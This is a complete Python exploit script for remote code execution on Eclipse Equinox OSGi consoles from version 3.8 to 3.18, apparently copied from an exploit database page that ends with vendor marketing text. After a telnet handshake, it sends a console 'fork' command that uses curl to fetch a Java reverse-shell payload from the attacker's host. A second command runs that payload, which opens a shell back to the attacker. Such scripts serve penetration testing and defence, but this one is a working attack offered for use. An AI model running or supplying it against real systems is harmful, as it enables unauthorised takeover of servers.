#!/usr/bin/python
# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
# VisionSpace Technologies GmbH]
# Exploit Repository:
# [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \
# --lport=4444
"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading
from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer
# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
b"\xff\xfd\x01\xff\xfd" \
b"\x03\xff\xfb\x1f\xff" \
b"\xfa\x1f\x00\x74\x00" \
b"\x37\xff\xf0\xff\xfb" \
b"\x18"
# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
b"\xff\xfa\x18\x00\x58" \
b"\x54\x45\x52\x4d\x2d" \
b"\x32\x35\x36\x43\x4f" \
b"\x4c\x4f\x52\xff\xf0"
# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024
class HandlerClass(BaseHTTPRequestHandler):
"""
This class overrides the BaseHTTPRequestHandler. It provides a specific
functionality used to deliver a payload to the target host.
"""
_lhost: str
_lport: int
def __init__(self, lhost, lport, *args, **kwargs):
self._lhost = lhost
self._lport = lport
super().__init__(*args, **kwargs)
def _set_response(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self): # pylint: disable=C0103
"""
This method is responsible for the playload delivery.
"""
print("Delivering the payload...")
self._set_response()
self.wfile.write(generate_revshell_payload(
self._lhost, self._lport).encode('utf-8'))
raise KeyboardInterrupt
def log_message(self, format, *args): # pylint: disable=W0622
"""
This method redefines a built-in method to suppress
BaseHTTPRequestHandler log messages.
"""
return
def generate_revshell_payload(lhost, lport):
"""
This function generates the Revershe Shell payload that will
be executed on the target host.
"""
payload = \
"import java.io.IOException;import java.io.InputStream;" \
"import java.io.OutputStream;import java.net.Socket;" \
"class RevShell {public static void main(String[] args) " \
"throws Exception { String host=\"%s\";int port=%d;" \
"String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
"redirectErrorStream(true).start();Socket s=new Socket(host,port);" \
"InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
"si=s.getInputStream();OutputStream po=p.getOutputStream()," \
"so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \
">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
"while(si.available()>0)po.write(si.read());so.flush();po.flush();" \
"Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \
"p.destroy();s.close();}}\n" % (
lhost, lport)
return payload
def run_payload_delivery(lhost, lport):
"""
This function is responsible for payload delivery.
"""
print("Setting up the HTTP server for payload delivery...")
handler_class = partial(HandlerClass, lhost, lport)
server_address = ('', 80)
httpd = HTTPServer(server_address, handler_class)
try:
print("[+] HTTP server is running.")
httpd.serve_forever()
except KeyboardInterrupt:
print("[+] Payload delivered.")
except Exception as err: # pylint: disable=broad-except
print("[-] Failed payload delivery!")
print(err)
finally:
httpd.server_close()
def generate_stage_1(lhost):
"""
This function generates the stage 1 of the payload.
"""
stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
lhost.encode()
)
return stage_1
def generate_stage_2():
"""
This function generates the stage 2 of the payload.
"""
stage_2 = b"fork \"java ./RevShell.java\"\n"
return stage_2
def establish_connection(rhost, rport):
"""
This function creates a socket and establishes the connection
to the target host.
"""
print("[*] Connecting to OSGi Console...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((rhost, rport))
print("[+] Connected.")
return sock
def process_handshake(sock):
"""
This function process the handshake with the target host.
"""
print("[*] Processing the handshake...")
sock.recv(BUFFER_SIZE)
sock.send(HANDSHAKE_STAGE_1)
sock.recv(BUFFER_SIZE)
sock.send(HANDSHAKE_STAGE_2)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
def deliver_payload(sock, lhost):
"""
This function executes the first stage of the exploitation.
It triggers the payload delivery mechanism to the target host.
"""
stage_1 = generate_stage_1(lhost)
print("[*] Triggering the payload delivery...")
sock.send(stage_1)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
def execute_payload(sock):
"""
This function executes the second stage of the exploitation.
It sends payload which is responsible for code execution.
"""
stage_2 = generate_stage_2()
print("[*] Executing the payload...")
sock.send(stage_2)
sock.recv(BUFFER_SIZE)
sock.recv(BUFFER_SIZE)
print("[+] Payload executed.")
def exploit(args, thread):
"""
This function sends the multistaged payload to the tareget host.
"""
try:
sock = establish_connection(args.rhost, args.rport)
process_handshake(sock)
deliver_payload(sock, args.lhost)
# Join the thread running the HTTP server
# and wait for payload delivery
thread.join()
execute_payload(sock)
sock.close()
print("[+] Done.")
except socket.error as err:
print("[-] Could not connect!")
print(err)
sys.exit()
def parse():
"""
This fnction is used to parse and return command-line arguments.
"""
parser = argparse.ArgumentParser(
prog="OSGi-3.8-console-RCE",
description="This tool will let you open a reverse shell from the "
"system that is running OSGi with the '-console' "
"option in versions between 3.8 and 3.18.",
epilog="Happy Hacking! :)",
)
parser.add_argument("--rhost", dest="rhost",
help="remote host", type=str, required=True)
parser.add_argument("--rport", dest="rport",
help="remote port", type=int, required=True)
parser.add_argument("--lhost", dest="lhost",
help="local host", type=str, required=False)
parser.add_argument("--lport", dest="lport",
help="local port", type=int, required=False)
parser.add_argument("--version", action="version",
version="%(prog)s 0.1.0")
return parser.parse_args()
def main(args):
"""
Main fuction.
"""
thread = threading.Thread(
target=run_payload_delivery, args=(args.lhost, args.lport))
thread.start()
exploit(args, thread)
if __name__ == "__main__":
main(parse())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation